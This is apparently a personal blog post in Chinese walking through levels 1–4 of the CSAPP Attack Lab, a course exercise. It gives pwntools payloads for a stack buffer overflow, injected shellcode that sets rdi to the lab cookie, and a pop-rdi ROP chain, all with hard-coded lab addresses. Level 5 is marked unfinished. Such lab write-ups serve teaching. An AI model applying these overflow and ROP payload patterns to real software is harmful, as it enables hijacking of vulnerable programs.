CSAPP之Attack LAB

接着Boom lab,同样是第三章里的(虽然我书没咋看

level1

void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}

由getbuf函数输入,gdb调一下看下buf距离rbp有0x28个字节,直接填充返回到touch1地址就行

exp

touch1 = 0x04017c0
payload1 = b'a' * 0x28 + p64(touch1)
io.sendline(payload1)

level2

level2多了一个判断,判断传入的参数和文件所给的cookie值是否相同,但这里我们无法直接传参进touch2函数,不过我们调试可以知道,0x55586000-0x55686000这一段是有rwx权限的,就可以执行shellcode.

通过汇编可以看到在getbuf函数执行mov rdi, rsp此时rdi=rsp,作为Gets()的参数buf,意思就是输入字符串的起始地址就是下图rsp的地址0x5561dc78,刚好也处在上面那一段中

exp

touch2 = 0x04017ec
stack = 0x5561dc78
payload2 = asm('mov rdi, 0x59b997fa;ret')
payload2 = payload2.ljust(0x28, b'\x00')
payload2 += p64(stack) + p64(touch2)
io.sendline(payload2)

level3

文件给了提示,传字符串的地址,于是先把字符串放前面,后面接地址

exp

touch3 = 0x4018fa
stack = 0x5561dc78
payload3 = b'59b997fa' + asm('mov rdi, 0x5561dc78;ret')
payload3 = payload3.ljust(0x28, b'\x00')
payload3 += p64(stack+0x8) + p64(touch3)

level4

简单的ROP,找个pop rdi就行

exp

pop_rdi_ret = 0x000000000040141b
cookie = 0x59b997fa
touch2 = 0x4017ec
payload4 = b'a' * 0x28 + p64(pop_rdi_ret) + p64(cookie) + p64(touch2)
io.sendline(payload4)

level5

Todo…

作者

秋秋晚

发布于

2022-02-10

更新于

2023-01-10

许可协议

# 相关文章
  1.CSAPP之Bomb LAB
评论

:D 一言句子获取中...